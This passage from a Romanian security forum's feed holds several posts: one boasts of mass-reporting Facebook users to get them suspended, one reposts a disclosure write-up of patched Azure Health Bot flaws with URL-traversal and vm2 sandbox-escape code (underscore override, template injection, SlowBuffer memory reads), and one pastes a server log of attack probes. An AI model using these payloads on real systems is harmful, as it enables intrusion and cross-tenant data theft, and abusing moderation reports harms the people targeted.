	<span>Intr-o zi </span>incercam sa ii agit pe niste bosorogi de pe un grup plin de iubitori ai lui Ceausescu si m-am gandit eu, ca baiatul destept
</p>

<blockquote class="ipsQuote" data-ipsquote="">
	<div class="ipsQuote_citation">
		Quote
	</div>

	<div class="ipsQuote_contents">
		<p>
			Ce ar fi sa scriu ceva pozitiv despre comunitatea gay si sa le bat obrazul bosorogilor ca ii trateaza pe gay ca pe niste fiinte inferioare? Sigur se vor agita, vor comenta ceva nasol despre gay si ii voi raporta pentru <em>hate speech</em>. 
		</p>
	</div>
</blockquote>

<p>
	 
</p>

<p>
	La cateva minute dupa ce am postat ma arde tot pe mine Facebook cu o suspendare de 7 zile pentru <em>hate speech</em>. Fac apel. Dupa mai putin de un minut primesc rezultatul apelului. <em>Hate speech.</em> Clar m-a ars AI-ul care a tradus textul meu. Iau textul, il postez in alta parte de pe alt cont de tavaleala cu optiunea de traducere automata in engleza. Mda. Ce am scris eu si ce a tradus imbecilul nu avea nici o treaba. Aia e. Am facut pauza de la Facebook. Intre timp mi-am setat toate conturile sa traduca automat postarile din romana in engleza. Cum vedeam ceva tradus prost, cu potentialul de a fi gresit interpretat, cum ii dadeam report. A mers binisor, dar prea rar dadea rateuri atat de mari si interpretabile precum a dat in cazul meu.<br />
	<br />
	Inca mai functioneaza, dar dupa cum ziceam, cam rar apare oportunitatea de a incalca <em>Community Standards</em> din cauza traducerii eronate. In afara de asta sistemul de moderare este in clipa de fata aproape inexistent.<br />
	<br />
	<strong><em>Report reason -&gt; unauthorised sales</em></strong>
</p>

<p>
	 
</p>

<p>
	Stiati ca nu este permisa pe Facebook vanzarea de caini, pisici? Sau de porci? Sau de cai, capre, oi, miei si alte animale, fie ca sunt salbatice sau domestice? Eh, inainte de a renunta Facebook la armata de moderatori puteam intra pe grupurile unde se vindeau cai si porci si ii raportam pe toti vanzatorii. Nici cei care vindeau pentru consum animale sacrificate nu scapau. Important era sa existe atasate la postare poze cu animalul sacrificat. Rata de succes era bunicica, pe la medie, dar totusi apropiata de o rata mare. Cum zice Lenghel, spre zona verde. Imi aduc aminte ca in 2022, in perioada Pastelui, pe un grup dedicat au avut conturile suspendate aproape toti cei care vindeau miei sacrificati. 
</p>

<p>
	 
</p>

<p>
	La un moment dat toate metodele au picat. Nu mai au destui moderatori, iar AI-ul lor este setat sa nu mai bage in seama majoritatea raportarilor. Ba mai si trimite cateodata mesaj ca nu sunt destui moderatori care sa se ocupe de reporturi din cauza Covid-19. In 2024. A fost util si amuzant, dar foarte obositor in acelasi timp. Acum sa vedem cum sta treaba cu Reddit. Acolo se fac bani <img alt=":)" data-emoticon="" height="20" src="https://rstforums.com/forum/uploads/emoticons/default_smile.png" srcset="https://rstforums.com/forum/uploads/emoticons/smile@2x.png 2x" title=":)" width="20" />
</p>

<p>
	<br />
	Spor.
</p>
]]></description><guid isPermaLink="false">120057</guid><pubDate>Tue, 16 Jul 2024 22:27:47 +0000</pubDate></item><item><title>Lethal Injection: How We Hacked Microsoft's Healthcare Chat Bot</title><link>https://rstforums.com/forum/topic/119415-lethal-injection-how-we-hacked-microsofts-healthcare-chat-bot/</link><description><![CDATA[<h1>
	<img alt="65ef5130b8bbdd100e5d734f_lethal%20inject" src="https://assets-global.website-files.com/65c7cc18f144ec117beacf22/65ef5130b8bbdd100e5d734f_lethal%20injecti0n%20(1).png" />
</h1>

<div>
	<p>
		We have discovered multiple security vulnerabilities in the Azure Health Bot service, a patient-facing chatbot that handles medical information. The vulnerabilities, if exploited, could allow access to sensitive infrastructure and confidential medical data. 
	</p>

	<p>
		 
	</p>

	<p>
		All vulnerabilities have been fixed quickly following our report to Microsoft. Microsoft has not detected any sign of abuse of these vulnerabilities. We want to thank the people from Microsoft for their cooperation in remediating these issues: Dhawal, Kirupa, Gaurav, Madeline, and the engineering team behind the service.
	</p>

	<p>
		 
	</p>

	<p>
		The first vulnerability allowed access to authentication credentials belonging to the customers. With continued research, we’ve found vulnerabilities allowing us to take control of a backend server of the service. That server is shared across multiple customers and has access to several databases that contain information belonging to multiple tenants.
	</p>

	<p>
		 
	</p>

	<p>
		Vulnerabilities Reported
	</p>

	<p>
		 
	</p>

	<ul>
		<li>
			Multiple sandbox escapes, unrestricted code execution as root on the bot backend
		</li>
		<li>
			Unrestricted access to authentication secrets &amp; integration auth providers
		</li>
		<li>
			Unrestricted memory read in the bot backend, exposing sensitive secrets &amp; cross tenant data
		</li>
		<li>
			Unrestricted deletion of other tenants' public resources
		</li>
	</ul>

	<h2>
		The Discovery
	</h2>

	<p>
		The initial research started at the Azure Health Bot management portal website. Skimming through the features available, we saw that it’s possible to connect your bot to remote data sources, and also provide authentication details.
	</p>

	<p>
		 
	</p>

	<p>
		Since customers would likely connect their bot to 3rd party data, such as patient databases, appointment calendars, and so forth, it’s a very interesting target for an attacker. It’s unlikely to imagine a scenario where the customers wouldn’t want to connect the bot to their data.
	</p>

	<p>
		 
	</p>

	<p>
		After fiddling with this feature, we noticed something interesting in the request that retrieves our data connection details and auth secrets. This is what a regular request looks like:
	</p>

	<p>
		 
	</p>

	<div>
		<pre class="ipsCode prettyprint lang-html prettyprinted"><span class="pln">https://portal-eastus.healthbot.microsoft.com/v4/test-301x6x6/integration/data-connections/1679070537717/</span></pre>

		<p>
			 
		</p>
	</div>

	<p>
		In this URL, “test-301x6x6” is our unique health bot instance ID, and “1679070537717” is the ID of the unique data connection we created. 
	</p>

	<p>
		 
	</p>

	<p>
		The response to this request was the following JSON:
	</p>

	<p>
		 
	</p>

	<div>
		<pre class="ipsCode prettyprint lang-html prettyprinted"><span class="pln">{
  "odata.metadata": "https://hbstenant2steausprod.table.core.windows.net/$metadata#test301x6x6/@Element",
  "etag": "W/\"datetime'2023-03-17T17%3A08%3A44.7784337Z'\"",
  "partitionKey": "DataConnection",
  "rowKey": "1679070537717",
  "timestamp": "2023-03-17T17:08:44.7784337Z",
  "type": "custom",
  "name": "test data connection",
  "description": "desc",
  "base_url": "https://website.com/a",
  "auth_provider": "",
  "static_parameters": "[{\"type\":\"header\",\"key\":\"Test\",\"value\":\"true\"}]"
}</span></pre>

		<p>
			 
		</p>
	</div>

	<p>
		People familiar with Azure will recognize this as an Azure Table API response. And it makes sense, the service stores our connection data in the Azure Table service, and it pulls that data directly from there.
	</p>

	<p>
		 
	</p>

	<p>
		Our intuition was to start toying with the ID number of our data connection. We believe that the data connections of all customers are in the same table, and if we can query whatever ID we want from the table, we can view the data connections of other customers.
	</p>

	<p>
		Per the Azure Table API <a href="https://learn.microsoft.com/en-us/rest/api/storageservices/query-entities" rel="external nofollow">documentation</a>, here’s how a request to retrieve data from a table looks like:
	</p>

	<p>
		 
	</p>

	<div>
		<pre class="ipsCode prettyprint lang-html prettyprinted"><span class="pln">https://myaccount.table.core.windows.net/tableName(PartitionKey='</span><span class="tag">&lt;partition-key&gt;</span><span class="pln">',RowKey='</span><span class="tag">&lt;row-key&gt;</span><span class="pln">')</span></pre>

		<p>
			 
		</p>
	</div>

	<p>
		So here we have 3 variables we must fill: 
	</p>

	<ul>
		<li>
			table name
		</li>
		<li>
			partition key
		</li>
		<li>
			row key
		</li>
	</ul>

	<p>
		 
	</p>

	<p>
		We have all the required variables since the previous Table API response discloses all that information. Our guess was, that was the URL the backend server uses to get the information behind the scenes:
	</p>

	<p>
		 
	</p>

	<div>
		<pre class="ipsCode prettyprint lang-html prettyprinted"><span class="pln">https://hbstenant2steausprod.table.core.windows.net/test301x6x6(PartitionKey=’DataConnection’,RowKey=’1679070537717’)</span></pre>

		<p>
			 
		</p>
	</div>

	<p>
		 
	</p>

	<p>
		Here you can see:
	</p>

	<p>
		 
	</p>

	<ol>
		<li>
			hbstenant2steausprod - the account name Microsoft used for storing the data.
		</li>
		<li>
			test301x6x6 - our Azure health bot instance ID. This is not a secret.
		</li>
		<li>
			(PartitionKey=’DataConnection’,RowKey=’1679070537717’): Pulling DataConnection with the ID from the request.<br />
			 
		</li>
	</ol>

	<p>
		The input in our control is the ID. The idea was to send an ID that would allow us to “break out” of our tenant and read other tenants' data. How do we do that?
	</p>

	<p>
		 
	</p>

	<p>
		Since it’s all appended to a URL, the idea was to leverage URL traversal to cancel out the prepended information added by the server, and then add our own:
	</p>

	<p>
		 
	</p>

	<div>
		<pre class="ipsCode prettyprint lang-html prettyprinted"><span class="pln">GET /v4/test-301x6x6/integration/data-connections/%2F..%2FotherTenant(PartitionKey='DataConnection',RowKey='1679126391688/</span></pre>

		<p>
			 
		</p>
	</div>

	<p>
		 
	</p>

	<p>
		As you can see, we encoded the slashes (%2F) which were injected into the URL, effectively turning the request into:
	</p>

	<p>
		 
	</p>

	<div>
		<pre class="ipsCode prettyprint lang-html prettyprinted"><span class="pln">https://hbstenant2steausprod.table.core.windows.net/test301x6x6(PartitionKey=’DataConnection’,RowKey=’1679070537717/../otherTenant(PartitionKey='DataConnection',RowKey='1679126391688')</span></pre>

		<p>
			 
		</p>
	</div>

	<p>
		 
	</p>

	<p>
		And voila! This request successfully returned the connection data of the other tenant.
	</p>

	<p>
		 
	</p>

	<div>
		<img alt="663a7e8942c0d96be076bcbd_api%20request.p" src="https://assets-global.website-files.com/65c7cc18f144ec117beacf22/663a7e8942c0d96be076bcbd_api%20request.png" />
	</div>

	<p>
		‍
	</p>

	<h2>
		Hacking The Bot Backend - 3 ways to pwn the Node.js vm2 sandbox 
	</h2>

	<p>
		‍
	</p>

	<p>
		Exploring further into the service, we saw that you can execute your JavaScript code in an isolated environment. This feature lets you process data coming from the chat as part of the conversation with the end customer.
	</p>

	<p>
		 
	</p>

	<p>
		We started by doing simple JS recon inside the sandbox - looking at global variables, we figured we were running inside a vm2 sandbox, a popular Node.js sandboxing library that has since been discontinued due to multiple, unrelated security flaws. 
	</p>

	<p>
		The goal was simple: to be able to execute shell commands and try to find a way to access cross-tenant data. 
	</p>

	<p>
		 
	</p>

	<p>
		How do you usually execute shell commands with Node.js? Simple, you import the child_process module and call exec/execSync:
	</p>

	<p>
		 
	</p>

	<div>
		<pre class="ipsCode prettyprint lang-html prettyprinted"><span class="pln">require('child_process').execSync('id')</span></pre>

		<p>
			 
		</p>
	</div>

	<p>
		‍
	</p>

	<p>
		But you didn’t think it’d be that easy, did you? In general, require inside the vm2 sandbox is a patched version that doesn’t let you import anything harmful. However, Microsoft wanted to provide a few standard modules to make your life easier. So what we have is a custom require function, which has a very specific whitelist of boring modules. 
	</p>

	<p>
		 
	</p>

	<p>
		But we wanted to understand what’s going on under the hood. Lucky for us, Javascript lets you view the source code of any function. You call .toString() on the function, and voila, you get the source code:
	</p>

	<p>
		 
	</p>

	<div>
		<pre class="ipsCode prettyprint lang-html prettyprinted"><span class="pln">(packageName) =&gt; {
	// Do binary search in the allow list of packages
	if (packagesAllowedList &amp;&amp; _.indexOf(packagesAllowedList, packageName, true) &lt; 0) {
		throw new Error(`**Usage of the '${packageName}' package is not allowed. Please contact your system administrator**`);
	}
	return require(packageName);
}</span></pre>

		<p>
			 
		</p>
	</div>

	<p>
		Looks pretty harmless at first glance. It’s a simple check if the required module is in the whitelisted array, and if it is, the original Node.js require function will be called.
	</p>

	<p>
		 
	</p>

	<p>
		Well, if you look closer, they called _.indexOf() instead of the native array indexOf function for some reason. And _.indexOf() is a function from the underscore module. Which is whitelisted. Can you see where we’re going with this?
	</p>

	<p>
		 
	</p>

	<p>
		Bypassing the whitelist and achieving remote code execution is no problem when you can just override the indexOf function, which is conveniently already present as a global, you don’t even need to import it.
	</p>

	<p>
		 
	</p>

	<div>
		<pre class="ipsCode prettyprint lang-html prettyprinted"><span class="pln">underscore.indexOf=function(){ return 10; }; // Always return 10 - bypass the if condition
require('child_process').execSync('id') // Code executed!</span></pre>

		<p>
			 
		</p>
	</div>

	<p>
		And then:
	</p>

	<div>
		 
	</div>

	<div>
		<img alt="663a58c83622d94bd80ffce6_rce.png" src="https://assets-global.website-files.com/65c7cc18f144ec117beacf22/663a58c83622d94bd80ffce6_rce.png" />
	</div>

	<p>
		‍
	</p>

	<p>
		Since that backend is shared, we were running as root inside a server that processed the chats of other customers. All research was done in the “debug” environment and was done carefully to not expose any sensitive information. 
	</p>

	<p>
		 
	</p>

	<p>
		Microsoft quickly patched the bug within 24 hours, but we’re not done with this sandbox yet.
	</p>

	<p>
		‍
	</p>

	<h4>
		Underscore strikes again
	</h4>

	<p>
		After Microsoft patched the require() flaw, we dove deeper into understanding the mechanics of the vm2 sandbox. We knew that the modules that are whitelisted are part of the unisolated Node.js root context, the idea was to look into each module individually and try to find interesting functionalities that can be abused.
	</p>

	<p>
		 
	</p>

	<p>
		We spent a few hours reading the documentation and code of all whitelisted modules, most of them were just boring data parsing libraries that didn’t help. But then something in Underscore.js caught our attention:
	</p>

	<p>
		 
	</p>

	<div>
		<img alt="65ef51b77ffb4a88fdaef4ad_iht6FtaIhGcN9g2" data-ratio="43.60" src="https://assets-global.website-files.com/65c7cc18f144ec117beacf22/65ef51b77ffb4a88fdaef4ad_iht6FtaIhGcN9g2Za9X6eXhvsymAxZlsBzE7DM5A3OffrauiWMG6g2VGj1-UrtN7lCrnrvW37TZ2I6Ohy1DHe3O9KxABO3_FN21ScpLlTBZpsL8I5huDu_WzPWRvoDjF-0eiwbZ7z7y7GRAXmqyLl3g.png" />
	</div>

	<p>
		 
	</p>

	<p>
		Hmm, a function that compiles JavaScript templates, with an arbitrary code execution feature. We’re sensing a pattern here.
	</p>

	<p>
		To understand why it’s interesting, you need to understand a simple concept of how the vm2 sandboxing works.
	</p>

	<p>
		 
	</p>

	<p>
		In simple terms, they create a “bridge” between the sandbox and the host, and everything you execute inside the sandbox goes through proxy functions which restrict what you can do to a very limited set of features.
	</p>

	<p>
		 
	</p>

	<p>
		For example, if we try to access the Node.js global “process” variable from within the sandbox, the variable won’t be found as it’s not part of the sandboxed context. 
	</p>

	<p>
		 
	</p>

	<p>
		However, when you pass down functions from the root context to the sandbox, the code is already “compiled”. It’s usually pretty dangerous since code inside the sandbox can tamper with the modules and cause unexpected behavior outside the sandbox.
	</p>

	<p>
		 
	</p>

	<p>
		Back to the template function, since the underscore module was passed down from outside the sandbox, the code will be compiled in the non-sandboxed context, therefore, we can achieve code execution simply:
	</p>

	<p>
		 
	</p>

	<div>
		<pre class="ipsCode prettyprint lang-html prettyprinted"><span class="pln">let foo = underscore.template("</span><span class="pun">&lt;%</span><span class="pln"> </span><span class="kwd">print</span><span class="pun">(</span><span class="kwd">this</span><span class="pun">.</span><span class="pln">process</span><span class="pun">.</span><span class="pln">mainModule</span><span class="pun">.</span><span class="kwd">require</span><span class="pun">(</span><span class="str">'child_process'</span><span class="pun">).</span><span class="pln">execSync</span><span class="pun">(</span><span class="str">'id'</span><span class="pun">))</span><span class="pln"> %&gt;")</span></pre>

		<p>
			 
		</p>
	</div>

	<p>
		Microsoft quickly patched this as well, and we move on to the final flaw.
	</p>

	<p>
		‍
	</p>

	<h4>
		A Distant Memory
	</h4>

	<p>
		This time we had to think a little bit “outside the box” since we were running out of interesting features in the whitelisted modules. We looked into the “buffer” module which is a built-in Node.js module.
	</p>

	<p>
		 
	</p>

	<p>
		The thing that caught our attention was “Buffer.allocUnsafe”. This function lets you allocate an uninitialized memory buffer. To explain what it means in simple terms, let's compare Buffer.alloc and Buffer.allocUnsafe:
	</p>

	<p>
		 
	</p>

	<ul>
		<li>
			Buffer.alloc: will provide a memory buffer that is zeroed out. If we try to read from the allocated buffer, we’ll get a bunch of zeroes.
		</li>
		<li>
			Buffer.allocUnsafe: faster than alloc, will provide a memory buffer that hasn’t been zeroed out. That means that if the memory allocated was previously used for an HTTP request for example, we will be able to see the HTTP request by reading from the newly allocated buffer.
		</li>
	</ul>

	<p>
		 
	</p>

	<p>
		This is pretty dangerous since if we can use allocUnsafe inside the sandbox, we might be able to access sensitive info from the memory of the application. The vm2 developers were aware of this and restricted the use of Buffer.allocUnsafe.
	</p>

	<p>
		 
	</p>

	<p>
		Since the entire buffer module was whitelisted, we had access to SlowBuffer, which is the same as allocUnsafe. This one was not restricted by the sandbox, since it’s not supposed to be there by default: 
	</p>

	<p>
		 
	</p>

	<div>
		<pre class="ipsCode prettyprint lang-html prettyprinted"><span class="pln">buffer = require('buffer')
p = new buffer.SlowBuffer(10024)
p.toString() // returns “dirty” uninitialized memory previously used in other areas of the app</span></pre>

		<p>
			 
		</p>
	</div>

	<p>
		Running this code a few times yielded interesting data from the application, for example, a few JWT secrets for internal Azure identities, Kubernetes API calls, cross-tenant data, and more.
	</p>

	<p>
		 
	</p>

	<p>
		After that, Microsoft made multiple important security changes:
	</p>

	<p>
		 
	</p>

	<ul>
		<li>
			They had changed the service architecture to run a completely separate ACI instance per customer. Making any future sandbox breach irrelevant. 
		</li>
		<li>
			They changed the sandboxing from vm2 to the isolated-vm library, which uses V8 isolates, a much better and more secure solution.
		</li>
	</ul>

	<p>
		‍
	</p>

	<h4>
		Final Words
	</h4>

	<p>
		This marks the first publication from Breachproof. We aim to publish a lot of more quality research that has real impact. Much more is coming.
	</p>

	<p>
		 
	</p>

	<p>
		If you're a company dealing with sensitive data and need help securing it - feel free to <a href="https://www.breachproof.net/contact" rel="external nofollow">contact us</a>.
	</p>

	<p>
		 
	</p>

	<p>
		Authored by <a href="https://twitter.com/Yanir_" rel="external nofollow">Yanir Tsarimi</a>
	</p>

	<p>
		 
	</p>

	<p>
		Bounty 203,000 $ 
	</p>

	<p>
		 
	</p>

	<div class="ipsEmbeddedOther" contenteditable="false">
		<iframe allowfullscreen="" data-controller="core.front.core.autosizeiframe" data-embedid="embed4533261419" src="https://rstforums.com/forum/index.php?app=core&amp;module=system&amp;controller=embed&amp;url=https://twitter.com/Yanir_/status/1787927296487063705" style="height:600px;"></iframe>
	</div>

	<p>
		 
	</p>

	<p>
		 
	</p>

	<p>
		 
	</p>

	<p>
		Source: <a href="https://www.breachproof.net/blog/lethal-injection-how-we-hacked-microsoft-ai-chat-bot" rel="external nofollow">https://www.breachproof.net/blog/lethal-injection-how-we-hacked-microsoft-ai-chat-bot</a>
	</p>

	<p>
		‍
	</p>
</div>
]]></description><guid isPermaLink="false">119415</guid><pubDate>Wed, 08 May 2024 20:41:59 +0000</pubDate></item><item><title>Testare vulnerabilitati SaaS</title><link>https://rstforums.com/forum/topic/119314-testare-vulnerabilitati-saas/</link><description><![CDATA[<p>
	Buna ziua,
</p>

<p>
	 
</p>

<p>
	avem nevoie de o persoana (sau mai multe) cu experienta pentru a testa o aplicatie web tip SaaS si sa colaboreze cu programatorul pentru a rezolva vulnerabilitatile. Contracost.  Astept detalii de contact prin reply sau PM.
</p>

<p>
	 
</p>

<p>
	multumesc!
</p>
]]></description><guid isPermaLink="false">119314</guid><pubDate>Mon, 08 Apr 2024 19:59:39 +0000</pubDate></item><item><title>Bine v-am gasit, xampp server apache</title><link>https://rstforums.com/forum/topic/119182-bine-v-am-gasit-xampp-server-apache/</link><description><![CDATA[<p>
	Buna seara, am facut un download url pentru serverul meu de cs 1.6 in xampp si tot se inchidea pc-ul neasteptat, am gasit astea in log-uri, am verificat ip-urile si sunt de prin china
</p>

<p>
	 
</p>

<p>
	185.224.128.55 - - [20/Feb/2024:15:11:04 +0200] "GET / HTTP/1.1" 403 301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" 109.205.213.198 - - [20/Feb/2024:15:12:46 +0200] "GET / HTTP/1.1" 403 301 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 Edg/90.0.818.46" 89.190.156.150 - - [20/Feb/2024:15:52:25 +0200] "POST /boaform/admin/formLogin HTTP/1.1" 403 301 "http://5.13.115.181:80/admin/login.asp" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" 82.64.166.135 - - [20/Feb/2024:16:05:52 +0200] "GET / HTTP/1.0" 403 301 "-" "-" 69.164.217.245 - - [20/Feb/2024:16:15:29 +0200] "GET / HTTP/1.0" 400 468 45.33.80.243 - - [20/Feb/2024:16:16:39 +0200] "GET / HTTP/1.1" 302 - 43.129.97.125 - - [20/Feb/2024:16:36:17 +0200] "GET / HTTP/1.1" 302 - 43.129.97.125 - - [20/Feb/2024:16:36:18 +0200] "GET /dashboard/ HTTP/1.1" 200 5187 43.129.97.125 - - [20/Feb/2024:16:36:19 +0200] "GET /jquery-3.3.1.min.js HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:20 +0200] "POST /categories/Yud HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:21 +0200] "POST /wp-content/themes/twentytwentyone/inc/block-css.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:22 +0200] "POST /QKBFJBVZsPKeqFS/HAchGeCttVyEtqZ.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:24 +0200] "POST /nation.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:25 +0200] "GET /search/s.php?i=1&amp;id=APOX8NWOV42320 HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:26 +0200] "POST / HTTP/1.1" 302 - 43.129.97.125 - - [20/Feb/2024:16:36:26 +0200] "GET /dashboard/ HTTP/1.1" 200 5187 43.129.97.125 - - [20/Feb/2024:16:36:28 +0200] "GET /is-bin HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:29 +0200] "GET /is-bin HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:30 +0200] "GET /news.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:31 +0200] "GET /8.bin HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:31 +0200] "GET /hrsgdsb7386wknzms.jpg HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:32 +0200] "GET /UnityPlayer.dll HTTP/1.1" 404 299 82.57.141.189 - - [20/Feb/2024:16:36:32 +0200] "GET / HTTP/1.0" 403 301 "-" "-" 43.129.97.125 - - [20/Feb/2024:16:36:32 +0200] "GET /ttd.exe HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:32 +0200] "GET /qd.CHM HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:33 +0200] "GET /zMLUH93A HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:35 +0200] "GET /Display/chan/IB61I7MYA HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:36 +0200] "GET /jquery-3.3.1.min.js HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:37 +0200] "GET /Gmail/UnityPlayer.txt HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:38 +0200] "GET /new/login HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:39 +0200] "GET /viwwwsogou?op=8&amp;query=%E7%A8%8F%E5%BB%BA%09%E9%BE%90%E1%B7%A2 HTTP/1.1" 404 300 43.129.97.125 - - [20/Feb/2024:16:36:41 +0200] "GET /e3e7e71a0b28b5e96cc492e636722f73/4sVKAOvu3D/BDyot0NxyG.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:42 +0200] "GET /jquery.js HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:43 +0200] "GET /wh/glass.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:44 +0200] "GET /login HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:45 +0200] "POST /nvidia_license_upd.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:47 +0200] "POST /session HTTP/1.1" 400 384 43.129.97.125 - - [20/Feb/2024:16:36:48 +0200] "GET /c/msdownload/update/software/update/2021/11/6632de33-967441-x86.cab HTTP/1.1" 404 305 43.129.97.125 - - [20/Feb/2024:16:36:48 +0200] "GET /c/msdownload/update/software/update/2021/11/6632de33-967441-x86.cab HTTP/1.1" 404 305 43.129.97.125 - - [20/Feb/2024:16:36:49 +0200] "GET /fw6I HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:50 +0200] "GET /fw6I HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:51 +0200] "GET /vF4l HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:51 +0200] "GET /bNfF HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:52 +0200] "GET /Visu/ens/events HTTP/1.1" 404 304 43.129.97.125 - - [20/Feb/2024:16:36:53 +0200] "GET /Visu/ens/events HTTP/1.1" 404 304 43.129.97.125 - - [20/Feb/2024:16:36:54 +0200] "GET / HTTP/1.1" 302 - 43.129.97.125 - - [20/Feb/2024:16:36:54 +0200] "GET /dashboard/ HTTP/1.1" 200 5187 43.129.97.125 - - [20/Feb/2024:16:36:55 +0200] "GET /jquery-3.3.1.min.js HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:57 +0200] "POST /categories/Yud HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:58 +0200] "POST /wp-content/themes/twentytwentyone/inc/block-css.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:36:59 +0200] "POST /QKBFJBVZsPKeqFS/HAchGeCttVyEtqZ.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:00 +0200] "POST /nation.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:01 +0200] "GET /search/s.php?i=1&amp;id=APOX8NWOV42320 HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:02 +0200] "POST / HTTP/1.1" 302 - 43.129.97.125 - - [20/Feb/2024:16:37:03 +0200] "GET /dashboard/ HTTP/1.1" 200 5187 43.129.97.125 - - [20/Feb/2024:16:37:04 +0200] "GET /is-bin HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:05 +0200] "GET /is-bin HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:07 +0200] "GET /news.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:08 +0200] "GET /8.bin HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:08 +0200] "GET /hrsgdsb7386wknzms.jpg HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:09 +0200] "GET /UnityPlayer.dll HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:09 +0200] "GET /ttd.exe HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:09 +0200] "GET /qd.CHM HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:10 +0200] "GET /zMLUH93A HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:12 +0200] "GET /Display/chan/IB61I7MYA HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:13 +0200] "GET /jquery-3.3.1.min.js HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:14 +0200] "GET /Gmail/UnityPlayer.txt HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:15 +0200] "GET /new/login HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:16 +0200] "GET /viwwwsogou?op=8&amp;query=%E7%A8%8F%E5%BB%BA%09%E9%BE%90%E1%B7%A2 HTTP/1.1" 404 300 43.129.97.125 - - [20/Feb/2024:16:37:17 +0200] "GET /e3e7e71a0b28b5e96cc492e636722f73/4sVKAOvu3D/BDyot0NxyG.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:19 +0200] "GET /jquery.js HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:20 +0200] "GET /wh/glass.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:21 +0200] "GET /login HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:22 +0200] "POST /nvidia_license_upd.php HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:23 +0200] "POST /session HTTP/1.1" 400 384 43.129.97.125 - - [20/Feb/2024:16:37:25 +0200] "GET /c/msdownload/update/software/update/2021/11/6632de33-967441-x86.cab HTTP/1.1" 404 305 43.129.97.125 - - [20/Feb/2024:16:37:25 +0200] "GET /c/msdownload/update/software/update/2021/11/6632de33-967441-x86.cab HTTP/1.1" 404 305 43.129.97.125 - - [20/Feb/2024:16:37:26 +0200] "GET /fw6I HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:27 +0200] "GET /fw6I HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:28 +0200] "GET /nPi5 HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:28 +0200] "GET /86ww HTTP/1.1" 404 299 43.129.97.125 - - [20/Feb/2024:16:37:29 +0200] "GET /Visu/ens/events HTTP/1.1" 404 304 43.129.97.125 - - [20/Feb/2024:16:37:29 +0200] "GET /Visu/ens/events HTTP/1.1" 404 304 45.79.168.172 - - [20/Feb/2024:17:09:09 +0200] "GET / HTTP/1.1" 403 301 "-" "Mozilla/5.0 zgrab/0.x" 172.105.128.12 - - [20/Feb/2024:17:09:17 +0200] "GET / HTTP/1.1" 403 301 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 185.224.128.55 - - 